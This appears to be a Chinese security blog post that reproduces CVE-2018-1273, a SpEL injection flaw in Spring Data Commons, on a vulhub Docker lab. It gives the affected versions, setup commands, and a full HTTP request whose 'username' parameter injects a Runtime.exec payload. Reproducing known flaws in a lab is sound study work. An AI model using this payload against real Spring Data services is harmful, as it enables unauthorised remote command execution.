0%

SpringDataCommons远程命令执行漏洞(CVE-2018-1273)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:https://xz.aliyun.com/t/2252


影响版本

1
2
3
4
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

环境搭建

1. docker搭建;

1
2
3
cd /app/vulhub-master/spring/CVE-2018-1273
docker-compose build
docker-compose up -d

访问 http://xxx.xxx.xxx.xxx:8080/users 正常即可;

image-20211220102734746

漏洞复现

浏览器打开http://127.0.0.1:8080/users

开启burp拦截流量数据,数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.77.211:56976
Connection: keep-alive
Content-Length: 120
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping 8.8.8.8")]=&password=&repeatedPassword=

点击发送;

image-20211220103025579

进入到docker容器,使用ps -ef命令查看ping命令是否有执行成功;

1
docker exec -it  <id> /bin/bash

image-20211220103134849

欢迎关注我的其它发布渠道